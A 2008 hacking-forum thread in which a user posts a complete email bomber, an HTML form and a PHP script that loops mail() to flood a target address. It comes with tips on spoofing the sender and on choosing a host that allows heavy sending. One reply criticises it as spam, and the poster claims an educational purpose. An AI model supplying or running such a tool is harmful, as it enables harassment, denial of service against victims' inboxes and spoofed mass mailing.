You must be logged in to post Login Register


Register? | Lost Your Password?

Search Forums:


 






Wildcard Usage:
*    matches any number of characters
%    matches exactly one character

E-mail Bomber(PHP)

UserPost

12:41 pm
June 11, 2008


Tehdead

Member

posts 59

Ok heres a basic E-mail bomber using a PHP script and a HTML page. Just host both files in the same directory and then go to the Mailer.html page fill in the boxes and how many you want it to send in the Bombing input. This is a basic loop fuction in PHP.

Mailer.HTML
'
<html>
<body>
<Form action="Mailer.php" method="POST">
To: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="to"><br>
From:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="from"><br>
Subject: &nbsp;&nbsp;<input type="text" name="subject"><br>
Message: <input type="text" name="body"><br>
Bomb: &nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="x"><br>
<input type="submit" value=" Bomb! ">
</form>
</body>
</html>

Mailer.php
'
<?php
$to;
$subject;
$body;
$from;
$x;
$i=1;
$headers = "From: $from" ;
if ($x>0) {
while($i<$x)
{
echo"<p>Bombing sent $i/$x </p>";
mail($to, $subject, $body, $headers);
$i++;
}
echo"<p>Bombing sent $i/$x </p>";
echo"<p>$to just got BOMBED!</p>";
}
?>
'
*note you can use what ever you want for the from Address so "yourmother@myhouse.com" doesnt have to be a real e-mail address.
Also how much it can send at one time is based on your hosting sites speed. I use hostultra.com for my hosting site its not free but its only a year and it allows PHP without restrictions. I can send 100 at once anymore and it wont work.
There ya go Bomb away ;)

~[AV0]Tehdead~

1:12 pm
June 15, 2008


sl4ck3r

Member

posts 21

spamming is for douche bags.

1:13 pm
June 15, 2008


sl4ck3r

Member

posts 21

your also probably breaking the TOS of you provider.

7:22 pm
June 17, 2008


Tehdead

Member

posts 59

[b]First[/b] no actually its not against hostultra.com's TOS even with the basic package you get unrestricted PHP usage and unlimited bandwidth.
[b]Second[/b] this was just for an educational purpose as a few members were asking about E-mail bombing. This gives an example of a basic loop in PHP and how the Mail() function works.
'
But hey man thanks for the constructive criticisms ;)

~[AV0]Tehdead~


About the Infinity Exists Forum

Most Users Ever Online: 164

Currently Online:
10 Guests

Currently Browsing this Topic:
1 Guest

Forum Stats:

Groups: 4
Forums: 22
Topics: 1967
Posts: 9706

Membership:

There are 8194 Members

There are 2 Admins
There are 3 Moderators

Top Posters:

GONZO – 569
slicer45 – 270
Teddy – 268
madf0x – 230
clarke – 223
gube – 214

Recent New Members: existant187, hiperflash, TMNH_Omega, Vishal, cavuera, register

Administrators: Patchy (1648 Posts), Nox (40 Posts)

Moderators: CrashOverron (377 Posts), Override (207 Posts), Copy (163 Posts)